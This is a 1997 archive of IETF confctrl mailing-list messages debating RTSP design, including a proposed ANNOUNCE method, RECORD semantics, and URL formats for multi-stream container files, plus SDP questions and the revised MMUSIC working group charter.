Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 01:17 PM 7/11/97 -0700, Stephen Casner wrote:
>Who is in control of the file format during a record operation?  I
>would expect the presentation description to control the grouping and
>determine what kind of individual or collective files should be
>written.  Who sends the presenation description?  (From my reading of
>the protocol, presentation descriptions only go from the server to the
>client.) 

Ironically enough, we just changed that so that it is only from client to
server.  draft02 did have DESCRIBE going from server to client, and in
fact, there used to be a method called SESSION which had this function in
draft01.  We tabled the issue of replacing S->C DESCRIBE/SESSION until
after at least this conversation wound down, but now that you bring it up,
I'd like to make a proposal.

How about a new ANNOUNCE method as both a C->S and a S->C method?  This
would be the active counterpart of DESCRIBE, which would serve the
following functions:

*  Posting stream descriptions
*  Initializing an empty container with streaming information (essentially,
what normally goes in the header of a container file).

It would be very analogous to DESCRIBE, and would fit into the chain of
events thusly:

Playback      Recording
DESCRIBE      ANNOUNCE
SETUP         SETUP
PLAY          RECORD

I'll spec this out later, but I'd like to flag this as an open issue.  Now
back to the 1-1-n discussion, already in progress :)

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Sat Jul 12 07:12:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19803>; Sat, 12 Jul 1997 14:12:39 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19797>; Sat, 12 Jul 1997 14:12:37 -0700
Received: from mail4.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA28517>; Sat, 12 Jul 1997 14:12:36 -0700
Received: by mail4.microsoft.com with Internet Mail Service (5.0.1458.49)
	id <3ZMNG894>; Sat, 12 Jul 1997 14:13:05 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E1803D6D6F7@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Rob Lanphier' <robla@prognet.com>, Stephen Casner
	 <casner@precept.com>
Cc: confctrl@isi.edu
Subject: RE: Posting descriptions via ANNOUNCE (Re: Format of RTSP URLs)
Date: Sat, 12 Jul 1997 14:12:32 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The way I see things is that DESCRIBE is necessary for all environments
where a session description (whether SDP or a proprietary alternative)
exists.

I do not view PLAY and RECORD as being in a mutually exclusive
relationship. I can well imagine a PLAY and RECORD both taking place
simultaneously. I can imagine one chosing to record "snippets" of PLAY.

I see no need for ANNOUNCE. It seems to only "clutter up" the
environment. What does it add (other than complexity)?

What I think we need is to enhance the importance of DESCRIBE since I
think that session descriptions are extremely important in the general
case to making deployable systems. 

> -----Original Message-----
> From:	Rob Lanphier [SMTP:robla@prognet.com]
> Sent:	Friday, July 11, 1997 5:58 PM
> To:	Stephen Casner
> Cc:	confctrl@isi.edu
> Subject:	Posting descriptions via ANNOUNCE (Re: Format of RTSP
> URLs)
> 
> At 01:17 PM 7/11/97 -0700, Stephen Casner wrote:
> >Who is in control of the file format during a record operation?  I
> >would expect the presentation description to control the grouping and
> >determine what kind of individual or collective files should be
> >written.  Who sends the presenation description?  (From my reading of
> >the protocol, presentation descriptions only go from the server to
> the
> >client.) 
> 
> Ironically enough, we just changed that so that it is only from client
> to
> server.  draft02 did have DESCRIBE going from server to client, and in
> fact, there used to be a method called SESSION which had this function
> in
> draft01.  We tabled the issue of replacing S->C DESCRIBE/SESSION until
> after at least this conversation wound down, but now that you bring it
> up,
> I'd like to make a proposal.
> 
> How about a new ANNOUNCE method as both a C->S and a S->C method?
> This
> would be the active counterpart of DESCRIBE, which would serve the
> following functions:
> 
> *  Posting stream descriptions
> *  Initializing an empty container with streaming information
> (essentially,
> what normally goes in the header of a container file).
> 
> It would be very analogous to DESCRIBE, and would fit into the chain
> of
> events thusly:
> 
> Playback      Recording
> DESCRIBE      ANNOUNCE
> SETUP         SETUP
> PLAY          RECORD
> 
> I'll spec this out later, but I'd like to flag this as an open issue.
> Now
> back to the 1-1-n discussion, already in progress :)
> 
> Rob
> 
> ---
> Rob Lanphier               Voice: (206)674-2322         Fax:
> (206)674-2699
> Program Manager-Protocols                         Email:
> robla@prognet.com
> Progressive Networks-Home of RealAudio            Web:
> http://www.real.com
> For more information on firewalls:
> http://www.real.com/firewall.html
> For more information on RTSP:
> http://www.real.com/prognet/rt

From majordom@ISI.EDU  Sat Jul 12 09:16:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22259>; Sat, 12 Jul 1997 16:21:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22253>; Sat, 12 Jul 1997 16:21:10 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA01348>; Sat, 12 Jul 1997 16:21:08 -0700
Received: from zappo-home.prognet.com (correro-PPP2.prognet.com) by murrow.prognet.com with SMTP id AA23567
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sat, 12 Jul 1997 16:25:35 -0700
Received: by zappo-home.prognet.com with Microsoft Mail
	id <01BC8EDF.04D12D80@zappo-home.prognet.com>; Sat, 12 Jul 1997 16:16:56 -0700
Message-Id: <01BC8EDF.04D12D80@zappo-home.prognet.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: Stephen Casner <casner@precept.com>,
        'Eric Fleischman'
	 <ericfl@MICROSOFT.com>,
        'Rob Lanphier' <robla@prognet.com>
Cc: "confctrl@isi.edu" <confctrl@isi.edu>
Subject: RE: Posting descriptions via ANNOUNCE (Re: Format of RTSP URLs)
Date: Sat, 12 Jul 1997 16:16:44 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>> I do not view PLAY and RECORD as being in a mutually exclusive
>> relationship. I can well imagine a PLAY and RECORD both taking place
>> simultaneously. I can imagine one chosing to record "snippets" of PLAY.

Eric, RECORD is not at all related to client side recording. I point 
this out because this message and other messages from you have seemed
to suggest that this was your understanding of RECORD.

The intent of RECORD is to tell the server to "consume" a media stream
instead of it's normal job of "producing" a stream. For example in
PN's current implementations of RTSP we use the RECORD verb 
between an encoder application and the server, where the encoder
tells the server that it should begin to consume a live feed from 
the encoder.

>> I can well imagine a PLAY and RECORD both taking place
>> simultaneously. I can imagine one chosing to record "snippets" 
>> of PLAY.

Sure, a single server may be recording and playing, and it may even 
perform these operations with the same client, but not in the same 
session.

-Brad

-----------------------------------------
Brad Hefta-Gaub 
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax:   (206)674-2699
email: brad@prognet.com
web:   http://www.real.com
-----------------------------------------




From majordom@ISI.EDU  Sun Jul 13 16:47:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02362>; Sun, 13 Jul 1997 05:48:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02356>; Sun, 13 Jul 1997 05:48:01 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA21246>; Sun, 13 Jul 1997 05:48:00 -0700
Received: from wallace (wallace.fokus.gmd.de [193.175.132.42]) by cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA17861; Sun, 13 Jul 1997 08:47:54 -0400 (EDT)
Message-Id: <33C8CE76.64B7@cs.columbia.edu>
Date: Sun, 13 Jul 1997 14:47:50 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University (GMD Fokus)
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Rob Lanphier'" <robla@prognet.com>, Stephen Casner <casner@precept.com>,
        confctrl@ISI.EDU
Subject: Re: Posting descriptions via ANNOUNCE (Re: Format of RTSP URLs)
References: <503A2A3C2932CF118D8800805FD44E1803D6D6F7@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> The way I see things is that DESCRIBE is necessary for all environments
> where a session description (whether SDP or a proprietary alternative)
> exists.

I don't think that is correct, in general. I can use HTTP to retrieve a
session description (SDP, MML, etc.) and never need DESCRIBE.


> I see no need for ANNOUNCE. It seems to only "clutter up" the
> environment. What does it add (other than complexity)?

DESCRIBE is 'pull', i.e., the client has to know that it wants a (new)
session description; ANNOUNCE is 'push', the server telling the client
that there's a new stream available. While I see ANNOUNCE as being
rarely needed and having the usual server-to-client communication
problems, it comes in handy on occasion, such as changes in a live or
continuous presentation. For scalability reasons, having the client poll
the server for an updated description every so often seems less
desirable, but is probably sufficient for now, given the relative number
of packets transmitted. (10-50/second, say, for audio and video and one
every few minutes for a poll.) In some cases, it may be sufficient for
the server to simply set a marker (in a response to an RTSP command or,
as a more layer-violating option, as part of the media control stream)
to tell the client "do a DESCRIBE".

Henning

From majordom@ISI.EDU  Mon Jul 14 05:27:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01225>; Mon, 14 Jul 1997 14:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13112>; Mon, 14 Jul 1997 12:27:14 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA07788>; Mon, 14 Jul 1997 12:27:10 -0700
Received: from churchy (churchy.std.sri.com) by std.sri.com (4.1/SMI-4.1)
	id AA29534; Mon, 14 Jul 97 12:27:08 PDT
Date: Mon, 14 Jul 97 12:27:08 PDT
From: rlang@std.sri.com (Ruth Lang)
Message-Id: <9707141927.AA29534@std.sri.com>
Received: by churchy (4.1/SMI-4.1)
	id AA08951; Mon, 14 Jul 97 12:27:07 PDT
To: confctrl@isi.edu
Cc: mjh@isi.edu, jo@tzi.org, schooler@cs.caltech.edu, rlang@std.sri.com
Subject: Revised MMUSIC Charter
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

We're please to announce the following:

1) Joerg Ott (Universitaet Bremen, jo@tzi.org) has joined us as a
co-chair of the MMUSIC working group.  He will bring his expertise
with both Internet and ITU protocols to aid and guide the protocols
being developed by this group.

2) The Charter for the Working Group has been revised and approved by
the IESG.  A copy of this charter is included below, and may be found
at
	http://www.ietf.org/html.charters/mmusic-charter.html
as well as at the I-D ftp sites.

Good luck to us all as we endeavor, with Joerg's help, to fulfill the
goals and milestones in the charter.

Regards,

Mark, Eve, and Ruth



Multiparty Multimedia Session Control (mmusic)
----------------------------------------------
 
  
 Current status: active working group
 
 Chair(s):
     Mark Handley <mjh@isi.edu>
     Ruth Lang <rlang@sri.com>
     Joerg Ott <jo@cs.tu-berlin.de>
 
 Transport Area Director(s): 
     Scott Bradner  <sob@harvard.edu>
     Allyn Romanow  <allyn.romanow@eng.sun.com>
 
 Area Advisor
     Allyn Romanow  <allyn.romanow@eng.sun.com>
 
 Mailing lists: 
     General Discussion:confctrl@isi.edu
     To Subscribe:      confctrl-request@isi.edu
     Archive:           ftp://ftp.isi.edu/confctrl/confctrl.mail
 
Description of Working Group:
 
Updated: July 9, 1997

Additional Co-Chair: Eve Schooler <schooler@cs.caltech.edu>


The Multiparty MUltimedia SessIon Control (MMUSIC) Working Group (WG)
is chartered to develop Internet standards track protocols to support
Internet teleconferencing sessions. MMUSIC's focus is on supporting the
loosely-controlled conferences that are pervasive on the MBone today.
However, the WG also will ensure that its protocols are general enough
to be used in managing tightly-controlled sessions.

To date, MMUSIC has drafted protocols for:

   - distributing session descriptions -- Session Description Protocol
     (SDP) and Session Announcement Protocol (SAP), 

   - providing security for session announcements -- SAP Security, 

   - controlling on-demand delivery of real-time data -- Real-Time
     Stream Protocol (RTSP), 

   - initiating sessions and inviting users -- Session Initiation
     Protocol (SIP), and 

   - managing tightly-controlled sessions -- Simple Conference
     Control Protocol (SCCP).

In addition, the WG has drafted two informational documents: the first
describes the architectural framework for MMUSIC, and the second
describes interoperability scenarios for ITU- and Internet-based
teleconferencing systems.

The WG's protocols reflect coordination with other IETF efforts related
to multimedia conferencing (e.g., AVT, RSVP).  In addition, the WG will
collaborate with liaisons to ITU standards bodies and industry
consortiums as appropriate to ensure interoperable standards (e.g.,
SIP/SAP/SDP with ITU H.323 and H.332).


The WG has defined two sets of goals -- immediate goals to be
accomplished over the next several months, and longer-term goals which
will be reviewed and possibly revised after the immediate goals are
met.  The immediate goals include bringing several protocols to
Proposed Standard (SDP, RTSP), or Experimental RFC status (SAP), and to
produce Informational RFCs for the informational drafts listed above.
The longer-term goals are to bring the remaining protocols to Proposed
Standard status (SIP, SAP Security, SAP), to investigate the
requirements for a next-generation session description protocol, and to
continue the development of SCCP.  Further details on these goals may
be found in the Goals and Milestones section which follows.
 
 Goals and Milestones: 
 
   Jul 97       Submit SDP to the IESG for consideration as a Proposed 
                Standard.                                                      

   Jul 97       Conduct WG Last Call for SAP Internet-Draft                    

   Jul 97       Submit a revised Internet Multimedia Conferencing
		Architecture I-D.                                                           

   Jul 97       Submit a revised SIP I-D.                                      

   Aug 97       Submit SAP Internet-Draft to IESG for publication as an 
                Experimental Protocol.                                         

   Aug 97       Submit a revised ITU Interoperability Scenarios I-D.           

   Oct 97       Conduct WG Last Call for RTSP Internet-Draft.                  

   Oct 97       Submit Internet-Draft on Internet Multimedia Conferencing 
                Architecture.                                                  

   Nov 97       Submit RTSP to IESG for consideration as a Proposed
		Standard.  

   Nov 97       Submit ITU Interoperability Scenarios Internet-Draft to
		IESG for consideration as an Informational RFC.                     

   Jan 98       Conduct WG Last Call for SIP Internet-Draft.                   

   Feb 98       Submit SIP Internet-Draft to IESG for consideration as a 
                Proposed Standard.                                             

   Apr 98       Conduct WG Last Call for SAP Security Internet-Draft.          

   Apr 98       Conduct second WG Last Call for SAP.                           

   May 98       Submit SAP Internet-Draft to IESG for consideration as a 
                Proposed Standard.                                             

   May 98       Submit SAP Security Inteternet-Draft to IESG for
		consideration as a Proposed Standard.                                        



From majordom@ISI.EDU  Mon Jul 14 05:18:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12921>; Mon, 14 Jul 1997 12:20:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12912>; Mon, 14 Jul 1997 12:20:09 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA07457>; Mon, 14 Jul 1997 12:20:05 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA06620
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 14 Jul 1997 12:24:27 -0700
Message-Id: <3.0.32.19970714121749.00e59f50@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 14 Jul 1997 12:18:04 -0700
To: Stephen Casner <casner@precept.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Format of RTSP URLs
Cc: confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 01:17 PM 7/11/97 -0700, Stephen Casner wrote:
>> How would a client tell a server to record several streams into a single
file?
>> 
>> SETUP movie?audio
>> SETUP movie?video
>> RECORD movie?audio
>> RECORD movie?video
>> [^^^ this is very difficult on the server]
...
>Who is in control of the file format during a record operation?  I
>would expect the presentation description to control the grouping and
>determine what kind of individual or collective files should be
>written.  Who sends the presenation description?  (From my reading of
>the protocol, presentation descriptions only go from the server to the
>client.)  If a client wants to record, perhaps the URI it needs to
>access the server would identify an "opportunity" to record, and that
>opportunity would imply a file structure.
>
>Being able to say
>
>SETUP movie
>Stream-id: aud
>SETUP movie
>Stream-id: vid
>RECORD movie
>Stream-id: aud,vid
>
>does not answer the question of what kind of container file movie is
>supposed to be.

This is a good point.  I would assume, since the client is controlling the
interaction, that the client would want to decide what file type it is.
However, the server is only going to have the capability to write a finite
set of files.  I suppose an optional field in the new ANNOUNCE method that
could provide a MIME type for the file, and the server response could
either be affirmative or provide an error which lists the available types.

>> Ok, but how would a client know whether to establish one session, and when
>> to establish n sessions, without doing some interpretation on the URL.
>
>The presentation description answers that question.  If there are
>multiple media URLs contained therein, the client must establish
>sessions for each of those that it wants.

That is 1-n-n (1 description, n-RTSP sessions, n-RTP Sessions).  How would
the client know when to do 1-1-n (1 description, 1-RTSP sessions, n-RTP
Sessions)?

>> If you are simultaneously trying to make the case against 1-1-n (and in
>> favor of 1-n-n), then I point you to the RECORD example above.
>
>I'm not against there being some means of collecting multiple RTSP
>streams into a presentation.  I just want the protocol to be the same
>independent of whether the data is kept in one file or several.  The
>client should have to know or care.

But wouldn't you agree that there are cases where the client *does* care?
(I'm assuming you meant to say "shouldn't" :) )  Recording is the best
example, but there are also cases where if the client is willing to be a
little accomodating, the server gets efficiency gains.

>In fact, the definition of "presentation" in the spec says that the
>presentation description is supposed to contain RTSP URIs that the
>define which streams can be controlled individually and an RTSP URI to
>control the whole presentation.  However, I'm not sure that remainder
>of the protocol specification says how that collective URI is supposed
>to be used or how the whole-presentation control is supposed to
>happen.
...
>Perhaps the whole-presentation URI does not allow the SETUP method but
>instead another method that binds a whole-presentation session-id with
>the individual session-ids for the individually controllable streams?

I think the point here, though, is that aggregate streams aren't supposed
to be individually controllable.  The key here is to have 1 NPT for all
streams.  PLAY and PAUSE apply to that NPT, not to the individual streams.

>If so, what if the presentation description identifies streams that
>will come from multiple servers: will the server identified by the
>collective URI be responsible for passing commands by some mechanism
>(perhaps outside of RTSP) to the individual stream servers?  This is
>clearly a hard problem, and one which I believe led to decisions to
>limit some of the functionality provided by RTSP v1.

Right, that is a hard problem.  However, streaming from a container file is
a much simpler problem, which there is already a substantial amount of
expertise at among the members of this group and in general.  I think we
are turning an easy problem into a hard problem by trying to come up with
this level of generality.

>> Even in playback, in the very common case where one has a neatly
>> pre-interleaved file, it makes it a lot easier for a server to just spit
>> out the packets in the order in which they are in the file, rather than
>> having to open n instances of the file, and then only stream 1/nth of the
>> file.
>
>I don't see any reason why the server should not be able to do that
>with URL's defining the streams instead of stream-ids.  Assuming that
>we're talking about multiple transport streams, then the server is
>going to have to look at each packet coming out of the file and
>determine on which stream to send it.  That's the difference between
>the multiplexed and non-multiplexed cases.

How does the client know that a set of streams with different URLs should
be bound together by a common NPT?  If they are all at the same URL but
only different stream ids, then this is simple (they are).  If they are
different URLs, and the mechanism by which stream ids are added and
extracted is *very* well defined, then I would concede that this is almost
as simple (depending on the parsing of the URL).  If there is only a fuzzy
definition of the stream id, then this is much more complex.

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Jul 14 09:04:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11372>; Mon, 14 Jul 1997 16:04:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11358>; Mon, 14 Jul 1997 16:04:52 -0700
Received: from cider.cisco.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20189>; Mon, 14 Jul 1997 16:04:47 -0700
Received: (lwei@localhost) by cider.cisco.com (8.6.8+c/CISCO.SERVER.1.1) id QAA20978; Mon, 14 Jul 1997 16:04:45 -0700
Date: Mon, 14 Jul 1997 16:04:45 -0700
Message-Id: <199707142304.QAA20978@cider.cisco.com>
From: Liming Wei <lwei@cisco.com>
To: mjh@isi.edu, confctrl@isi.edu
Subject: SDP question: specification of media properties
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark,

I have some questions on how flexible SDP can be in specifying the media
properties. Two scenarios are:
 (1) A session uses multi-layered encodings and each "layer" is sent
     on a different group address;
 (2) a "large tele-conference" application, needing to specify 5 out of
     1000 participants as the "primary" sites needing extra
     reliability (than the rest).

The questions are:

Is it possible to convey these in the current SDP ? or the next
revision of SDP ?

Is it possible to convey these with your SDR tool ?


-Liming Wei

From majordom@ISI.EDU  Mon Jul 14 15:09:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11726>; Mon, 14 Jul 1997 16:11:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11716>; Mon, 14 Jul 1997 16:10:32 -0700
Received: from north.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20519>; Mon, 14 Jul 1997 16:10:29 -0700
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id TAA15169; Mon, 14 Jul 1997 19:09:53 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Liming Wei <lwei@cisco.com>
Cc: confctrl@isi.edu
Subject: Re: SDP question: specification of media properties 
In-Reply-To: Your message of "Mon, 14 Jul 1997 16:04:45 PDT."
             <199707142304.QAA20978@cider.cisco.com> 
Date: Mon, 14 Jul 1997 19:09:52 -0400
Message-Id: <15167.868921792@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I have some questions on how flexible SDP can be in specifying the media
>properties. Two scenarios are:
> (1) A session uses multi-layered encodings and each "layer" is sent
>     on a different group address;

If you don't mind consecutive addresses, SDP has no problem.  If you
want to use admin scoped addresses there is currently no convention
for how to use SDP.

> (2) a "large tele-conference" application, needing to specify 5 out of
>     1000 participants as the "primary" sites needing extra
>     reliability (than the rest).

I'm not convinced you want to do this in SDP - it sounds far more like
a conference control mechanism to me.  BUt if you really wanted to do
it in SDP, you could do so using attributes.

>Is it possible to convey these with your SDR tool ?

Sdr can always be extended to handle new attributes, but currently it
doesn't handle multiple addresses per medium.  This is a bug.

Mark

From majordom@ISI.EDU  Mon Jul 14 09:27:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13021>; Mon, 14 Jul 1997 16:28:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13008>; Mon, 14 Jul 1997 16:28:14 -0700
Received: from puli.cisco.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA21315>; Mon, 14 Jul 1997 16:28:13 -0700
Received: (lwei@localhost) by puli.cisco.com (8.6.12/8.6.5) id QAA03169; Mon, 14 Jul 1997 16:27:09 -0700
From: Liming Wei <lwei@cisco.com>
Message-Id: <199707142327.QAA03169@puli.cisco.com>
Subject: Re: SDP question: specification of media properties
To: mjh@east.isi.edu (Mark Handley)
Date: Mon, 14 Jul 1997 16:27:09 -0700 (PDT)
Cc: lwei@cisco.com, confctrl@isi.edu
In-Reply-To: <15167.868921792@north.lcs.mit.edu> from "Mark Handley" at Jul 14, 97 07:09:52 pm
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 728       
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> > (2) a "large tele-conference" application, needing to specify 5 out of
> >     1000 participants as the "primary" sites needing extra
> >     reliability (than the rest).
> 
> I'm not convinced you want to do this in SDP - it sounds far more like
> a conference control mechanism to me.  BUt if you really wanted to do
> it in SDP, you could do so using attributes.

There is a long story (ommitted here). And yes I think the attribute
field is a good candidate.

> 
> Sdr can always be extended to handle new attributes, but currently it
> doesn't handle multiple addresses per medium.  This is a bug.

Right. Is there any intention/plan to let users enter multiple addresses
in SDR for each media type ?

 Thanks.
-Liming

From majordom@ISI.EDU  Mon Jul 14 13:07:26 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24035>; Mon, 14 Jul 1997 20:09:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24029>; Mon, 14 Jul 1997 20:09:30 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA14085>; Mon, 14 Jul 1997 20:09:26 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA12457
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 14 Jul 1997 20:14:04 -0700
Message-Id: <3.0.32.19970714200724.011aeb24@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 14 Jul 1997 20:07:26 -0700
To: www-talk@w3.org, uri@bunyip.com
From: Rob Lanphier <robla@prognet.com>
Subject: Format of RTSP URLs 
Cc: confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Members of www-talk and uri,

First, an introduction:  the confctrl group is currently working on the
Real Time Streaming Protocol (RTSP), which is for control of on-demand data
with real-time properties (usually multimedia).  See
http://www.real.com/prognet/rt for more details on this.

Without getting into too much depth about the protocol itself, we are
trying to sort out how the protocol should handle multi-stream container
files (ala Quicktime, ASF, RealMedia File Format, which often contain both
audio and video streams, and may contain many other types).  It is the
consensus that it is important for the protocol to deal in a distinct
manner with the different streams.  The controversy stems from if/how the
URL is used to achieve this.

A promenent proposal for achieving this is as follows:
Full Container file:
rtsp://foo.com/example.mov

Individual Track within container file:
rtsp://foo.com/example.mov?track=1
(the "track=1" portion is file format specific, the "?" is the consistant
part).

The issues we are debating are:
1.  Whether the protocol should make special accomodations for multistream
container files
2.  If yes, if/how should that be expressed in the URL

I'm going to switch here to representing myself and Progressive Networks.
Here's the concern that we have.  "?" is used in HTTP as the query
delimiter, and the "?track=1" use isn't consistant with that.  We want to
make sure that things are as consistant as possible between RTSP and HTTP
because:

*  We want the authoring scenarios to be protocol independent.  If someone
goes through the trouble of writing the media metafile and web page which has
different streams from the same container showing up on different parts of
the page, we want that metafile to be the same whether or not the content
is actaully being streamed via RTSP or HTTP.
*  One day, given the similar appearence of RTSP and HTTP, there may be an
effort to merge RTSP and HTTP, or to define some common framework that both
share.  We want to avoid pain when we can.
*  Frankly, we want to make sure that someone could implement a "cgi"
filesystem using the RealMedia Architecture that works as similarly as
possible to HTTP.  Any binding of "?" to protocol operation makes this
difficult/impossible.

The URL scheme, taken from Roy Fielding's draft on the subject
(draft-fielding-url-syntax-05.txt) is something we'll have to consider very
seriously in all of this.  The URL syntax there is:
<scheme>://<site>/<path>?<query>#<fragmentid>

The problem with that scheme is that "fragmentid" is really "client-side
fragment id".  What we really need is a server side fragment id as well.

<scheme>://<site>/<path>?<query>:<ssfrag>#<fragmentid>

This server-side fragment id would allow the client to play around with the
URL without messing up the query portion.  ":" is presented only as a
strawman.  I'm not sure what the correct character would be here.

The point here is to make it as simple as possible for a server to add and
subtract fragments from the server-side fragment portion.  If this is
buried in the query, it's very difficult.  If it is clearly delimited and
hanging off of the end, it's really straightforward.

I don't want to drag anyone here into a debate about whether or not
container file accomodations are needed (though I would welcome those who
want to dive in further and comment on confctrl), but I'm mainly interested
in is what the feeling is with regards to new URL schemes and consistancy
with HTTP.

Background information on this issue can be found in the following mail
archive:
http://www.mbone.com/lists/confctrl.1997/

Of particular interest will be:
"Container files and various methods of dealing with them" thread (the
inaugural message)
"Solving 1-1-n" thread
"Format of RTSP URLs" thread
"Sessions, presentations and URLs in RTSP" message

Many thanks in advance for your insight on this.

Rob


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Tue Jul 15 23:44:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25115>; Mon, 14 Jul 1997 20:44:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25109>; Mon, 14 Jul 1997 20:44:52 -0700
Received: from alba.syd.dit.CSIRO.AU by venera.isi.edu (5.65c/5.61+local-29)
	id <AA13921>; Mon, 14 Jul 1997 20:44:50 -0700
Received: from syd.dit.csiro.au by alba.syd.dit.CSIRO.AU (8.6.12/1.06S)
	id NAA17324; Tue, 15 Jul 1997 13:44:34 +1000
Message-Id: <199707150344.NAA17324@alba.syd.dit.CSIRO.AU>
X-Mailer: exmh version 1.6.9 8/22/96
To: Rob Lanphier <robla@prognet.com>
Subject: Re: Format of RTSP URLs 
Cc: www-talk@w3.org, uri@bunyip.com, confctrl@isi.edu
Reply-To: bill.simpson-young@cmis.csiro.au (Bill Simpson-Young)
In-Reply-To: Your message of Mon, 14 Jul 1997 20:07:26 -0700.
	     <3.0.32.19970714200724.011aeb24@mail.prognet.com> 
X-Internet: bill.simpson-young@cmis.csiro.au
X-Snail: CSIRO DIT, Locked Bag 17, North Ryde NSW 2113, Australia
X-Phone: (+61 2) 325-3155 Fax: (+61 2) 325-3200
X-Uri: http://www.syd.dit.csiro.au/staff/bill
X-Face: "GS>_j9\.pW;Cs*01=u*o'&mic%_7Hxyz&_UR6{$Ai95Hc5,xn-jf-Z7"njhC<(@`Vr%Nrl
	&x/|0G%DtL\XmNdIo|eMF,W"ci_a\Z=#aSs+&$5Ia:/$@{'i:T.U]^2l!NarQF+Ldb.
